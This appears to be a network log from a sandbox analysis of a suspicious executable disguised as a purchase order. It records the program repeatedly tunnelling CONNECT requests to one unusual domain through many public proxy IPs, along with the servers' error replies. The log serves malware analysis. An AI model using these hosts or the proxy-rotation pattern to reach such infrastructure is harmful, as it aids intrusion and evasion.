Mar 11, 2024 16:41:55.160551071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.10	55182	47.74.152.29	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.534112930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.10	54185	185.5.209.101	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.543845892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:19.519120932 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:19 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.10	55226	105.112.140.218	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.550492048 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:55.931710958 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.10	52395	216.137.184.253	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.562511921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676510096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.786192894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.084528923 CET	965	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:02 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 73 65 72 76 65 72 2e 73 65 6e 61 2e 63 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@server.sena.cl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.10	54178	132.148.154.97	33130	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.562640905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676565886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.786195040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.786279917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.10	55229	125.122.26.242	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.565696955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.10	55228	103.216.49.233	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.582628965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.10	54950	103.76.12.58	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.585583925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1804	192.168.2.10	52307	148.66.130.53	13305	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.596204996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.707866907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.707958937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.801558018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.834736109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.910643101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.910676956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:07.051251888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:55.160607100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.10	55208	64.227.108.25	31908	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.599512100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.10	54279	154.12.253.232	57447	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.606343985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676603079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.786227942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.10	55197	176.113.157.149	37417	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.606520891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.10	52536	36.91.107.245	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.606647968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676595926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.031707048 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.10	54179	199.58.184.97	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.609752893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.10	54243	27.96.235.171	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.614772081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.707870007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.707954884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.801569939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.834479094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:20.127696037 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:40:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.10	54311	206.220.175.2	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.656563997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.10	52582	41.65.55.2	1976	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.664464951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.676646948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.786225080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.786288977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.785659075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:30.785620928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:42.785685062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:06.785593033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:54.816783905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.10	54205	181.209.78.78	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:54.667110920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
